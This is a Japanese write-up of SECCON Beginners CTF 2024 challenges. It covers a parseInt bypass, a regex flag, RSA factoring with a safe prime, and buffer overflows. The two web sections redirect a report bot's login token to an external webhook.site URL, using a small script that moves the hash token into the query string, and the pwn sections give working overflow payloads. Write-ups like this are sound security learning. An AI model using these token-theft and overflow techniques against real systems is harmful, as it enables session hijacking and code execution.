Writeup: SECCON Beginners CTF 2024

# 概要

https://www.seccon.jp/13/seccon_beginners/content.html

# Writeup

## getRank

- 数字当てゲームはクライアントサイドで動いてるだけで特に意味なし。任意のスコアをランキングサーバーにinputで送りつけることができる
- `function ranking(score: number)`
    - 順位判定が1位になるとフラグが返ってくる
    - 自分以外のプレイヤーのスコアが(疑似的に) `const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];` で定義されている
    - `10 ** 255` (10の255乗) 以上の点数を、この関数に渡す必要がある
- `function chall(input: string)`
    - rankingへ入る前にinputをstringからnumberへ変換
    - 以下2点がポイント
        - ① 300桁を超えた入力は受け付けられない
        - ② `10 ** 255` より大きいスコアは、10のマイナス100乗がかかる
    - challを抜けた後にscoreが `10 ** 255` より大きくなるには `10 ** (255+100)` を送る必要があるが、300桁を超えてしまう
- 300桁を超えずに `10 ** (255+100)` を表現する方法を探す
    - `parseInt()` をバイパスできる挙動がないかなどを探してみたところ [ECMAScript > tips > parseIntのおかしな挙動](https://w.atwiki.jp/ohden/pages/90.html) を発見
    - 16進数で表現すれば10進数より桁数が減るので、 `0x1000...(input.lengthが300になるように0を並べる)...00` を入れて送信

## clamre

- 問題文のヒントから、`flag.ldb` がもろflagっぽい
- そのままChatGPTに入れて答えさせる

```
Explain this regex:

/^((\x63\x74\x66)(4)(\x62)({B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)})$/
```

## wooorker

- `login?next={webhookのurl}` を `/report` に入れると `?token=` パラメータにjwtが乗ってくる
- そのパラメータをそのまま手元のブラウザで `/` に送る
- webhookは https://webhook.site/ を使用

## woorker2

`$ diff -r ./woorker/ ./woorker2/` でdiffを取る
- woorkerと(本質的に)変わったのは以下の差分のみ

```
diff '--color=auto' -r ./woorker/main.js ./woorker2/main.js
22c22
<             window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
---
>             window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
24c24
<             window.location.href = `/?token=${token}`;
---
>             window.location.href = `/#token=${token}`;
```

- Hashbangになった結果、QueryStringに乗ってこなくなってしまっている
- 手元でcurlで検証してみると、そもそも#以降はサーバー側のアクセスログに乗らないものっぽい

https://qiita.com/nightyknite/items/b350dc95f7da089a516a

- ブラウザ側で ? に書き換えてあげると woorker と同じくアクセスログが取れるようになる。以下のようなページにアクセスさせる

```givemetoken.html
<script>
        // location.hash からトークンを取得
const hash = window.location.hash;
const token = hash.startsWith("#token=") ? hash.substring(7) : null;
if (token) {
  // 新しいURLを作成
  const newUrl = `${window.location.origin}${window.location.pathname}?token=${token}`;

  // リダイレクト
  window.location.replace(newUrl);
}
</script>
```

## Safe Prime

n=pqとq=2p+1からn=2p^2+pでpが求まる

https://zenn.dev/anko/articles/ctf-crypto-rsa

```solve.py
from Crypto.Util.number import getPrime, isPrime, long_to_bytes, bytes_to_long

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

from sympy import symbols, Eq, solve

# p = symbols('p')
# equation = Eq(n, 2*p**2 + p)
# solutions = solve(equation, p)
# print(f"{solutions = }")

p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = 2 * p + 1
print(f"{p = }")
print(f"{q = }")
print(f"{n = }")
print(f"{p*q = }")


phi = (p-1)*(q-1)
print(f"{phi = }")

d = pow(e, -1, phi)
print(f"{d = }")

# m = c^e-1

# ϕ(N)=(p−1)(q−1)

m = pow(c, d, n)
plaintext = long_to_bytes(m)
print(f"{plaintext = }")
```

## simpleoverflow

```
$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaߣ�
ctf4b{flag}
```

## simpleoverwrite

```
$ objdump -d ./chall | grep win
0000000000401186 <win>:
```

```payload.py
import struct

# win関数のアドレス
win_address = 0x401186

# バッファオーバーフローを引き起こす入力
# 18バイトのパディング
payload = b'A' * 18
# win関数のアドレスをリトルエンディアン形式で追加
payload += struct.pack('<Q', win_address)

# ファイルに書き出す
with open('payload', 'wb') as f:
    f.write(payload)
```

```
$ cat payload - | nc simpleoverwrite.beginners.seccon.games 9001
input:Hello, AAAAAAAAAAAAAAAAAA�@
return to: 0x401186
ctf4b{flag}
```